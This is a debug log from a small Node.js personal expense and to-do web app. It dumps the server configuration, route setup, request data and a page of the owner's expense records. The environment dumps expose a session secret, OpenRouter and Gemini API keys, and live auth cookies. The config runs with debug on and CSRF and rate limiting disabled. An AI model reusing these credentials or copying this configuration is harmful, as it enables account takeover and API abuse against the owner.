  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-21T16:46:06.701Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-21T16:46:06.796Z server-connect:setup:upload Upload middleware configured.
2026-04-21T16:46:06.796Z server-connect:secure CSRF Protection initialized
2026-04-21T16:46:06.798Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-21T16:46:06.799Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-21T16:46:06.800Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-21T16:46:06.800Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-21T16:46:06.801Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-21T16:46:06.802Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-21T16:46:06.803Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-21T16:46:06.803Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-21T16:46:06.806Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-21T16:46:06.807Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-21T16:46:06.807Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-21T16:46:06.808Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-21T16:46:06.808Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-21T16:46:06.808Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-21T16:46:06.809Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-21T16:46:06.809Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-21T16:46:06.809Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-21T16:46:06.809Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-21T16:46:06.810Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-21T16:46:06.810Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-21T16:46:06.810Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-21T16:46:06.811Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-21T16:46:06.811Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-21T16:46:06.811Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-21T16:46:06.811Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-21T16:46:06.812Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-21T16:46:06.812Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-21T16:46:06.812Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-21T16:46:06.812Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-21T16:46:06.813Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-21T16:46:06.813Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-21T16:46:06.813Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-21T16:46:06.813Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-21T16:46:06.813Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-21T16:46:06.855Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-21T16:46:06.855Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-21T16:46:06.855Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-21T16:46:06.856Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-21T16:46:06.941Z server-connect:router Serving templateView /expense/list
2026-04-21T16:46:06.944Z server-connect:app Executing action step identify
2026-04-21T16:46:06.945Z server-connect:app options: { provider: 'security' }
2026-04-21T16:46:06.946Z server-connect:output identity: 1
2026-04-21T16:46:06.946Z server-connect:app Executing action step restrict
2026-04-21T16:46:06.946Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:46:06.948Z server-connect:output restrict: undefined
2026-04-21T16:46:06.948Z server-connect:router Render template expense/list
2026-04-21T16:46:06.949Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:46:07.172Z server-connect:router Serving serverConnect /api/expense/list
2026-04-21T16:46:07.173Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-04-21T16:46:07.174Z server-connect:app Executing action step identify
2026-04-21T16:46:07.174Z server-connect:app options: { provider: 'security' }
2026-04-21T16:46:07.174Z server-connect:output identity: 1
2026-04-21T16:46:07.174Z server-connect:app Executing action step restrict
2026-04-21T16:46:07.174Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:46:07.175Z server-connect:app Executing action step identify
2026-04-21T16:46:07.175Z server-connect:app options: { provider: 'security' }
2026-04-21T16:46:07.175Z server-connect:output identity: 1
2026-04-21T16:46:07.175Z server-connect:app Executing action step restrict
2026-04-21T16:46:07.175Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:46:07.176Z server-connect:output restrict: undefined
2026-04-21T16:46:07.177Z server-connect:app Executing action step paged
2026-04-21T16:46:07.177Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-04-21T16:46:07.181Z server-connect:output restrict: undefined
2026-04-21T16:46:07.181Z server-connect:app Executing action step select
2026-04-21T16:46:07.181Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-04-21T16:46:07.184Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-04-21T16:46:07.192Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-04-22T00:56:56.072Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-22T00:56:58.011Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-22T00:56:58.839Z server-connect:setup:upload Upload middleware configured.
2026-04-22T00:56:58.839Z server-connect:secure CSRF Protection initialized
2026-04-22T00:56:58.842Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-22T00:56:58.845Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-22T00:56:58.846Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-22T00:56:58.853Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-22T00:56:58.856Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-22T00:56:58.860Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-22T00:56:58.874Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-22T00:56:58.887Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-22T00:56:58.890Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-22T00:56:58.894Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-22T00:56:58.894Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-22T00:56:58.898Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-22T00:56:58.906Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-22T00:56:58.915Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-22T00:56:58.918Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-22T00:56:58.989Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-22T00:56:58.991Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-22T00:56:58.994Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-22T00:56:59.000Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-22T00:56:59.005Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-22T00:56:59.007Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-22T00:56:59.014Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-22T00:56:59.017Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-22T00:56:59.021Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-22T00:56:59.023Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-22T00:56:59.027Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-22T00:56:59.029Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-22T00:56:59.031Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-22T00:56:59.037Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-22T00:56:59.039Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-22T00:56:59.041Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-22T00:56:59.043Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-22T00:56:59.047Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-22T00:56:59.049Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-22T00:56:59.055Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-22T00:56:59.059Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-22T00:56:59.060Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-22T00:56:59.072Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-22T00:56:59.549Z server-connect:router Serving templateView /
2026-04-22T00:56:59.551Z server-connect:app Executing action step identify
2026-04-22T00:56:59.551Z server-connect:app options: { provider: 'security' }
2026-04-22T00:56:59.553Z server-connect:auth No login cookie found
2026-04-22T00:56:59.553Z server-connect:output identity: false
2026-04-22T00:56:59.553Z server-connect:app Executing action step restrict
2026-04-22T00:56:59.553Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-22T00:56:59.557Z server-connect:output restrict: undefined
2026-04-22T00:57:00.395Z server-connect:router Serving templateView /login
2026-04-22T00:57:00.395Z server-connect:app Executing action step identify
2026-04-22T00:57:00.395Z server-connect:app options: { provider: 'security' }
2026-04-22T00:57:00.395Z server-connect:auth No login cookie found
2026-04-22T00:57:00.395Z server-connect:output identity: false
2026-04-22T00:57:00.395Z server-connect:router Render template layouts/authentication
2026-04-22T00:57:00.396Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    'accept-encoding': 'gzip',
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Python-urllib/3.12',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '18.223.120.62',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-23T00:57:00.393Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '18.223.120.62',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Python-urllib/3.12',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '18.223.120.62',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-22T00:57:04.986Z server-connect:router Serving templateView /
2026-04-22T00:57:04.987Z server-connect:app Executing action step identify
2026-04-22T00:57:04.987Z server-connect:app options: { provider: 'security' }
2026-04-22T00:57:04.987Z server-connect:auth No login cookie found
2026-04-22T00:57:04.987Z server-connect:output identity: false
2026-04-22T00:57:04.987Z server-connect:app Executing action step restrict
2026-04-22T00:57:04.987Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-22T00:57:04.988Z server-connect:output restrict: undefined
2026-04-22T00:57:05.337Z server-connect:router Serving templateView /login
2026-04-22T00:57:05.337Z server-connect:app Executing action step identify
2026-04-22T00:57:05.337Z server-connect:app options: { provider: 'security' }
2026-04-22T00:57:05.338Z server-connect:auth No login cookie found
2026-04-22T00:57:05.338Z server-connect:output identity: false
2026-04-22T00:57:05.338Z server-connect:router Render template layouts/authentication
2026-04-22T00:57:05.338Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
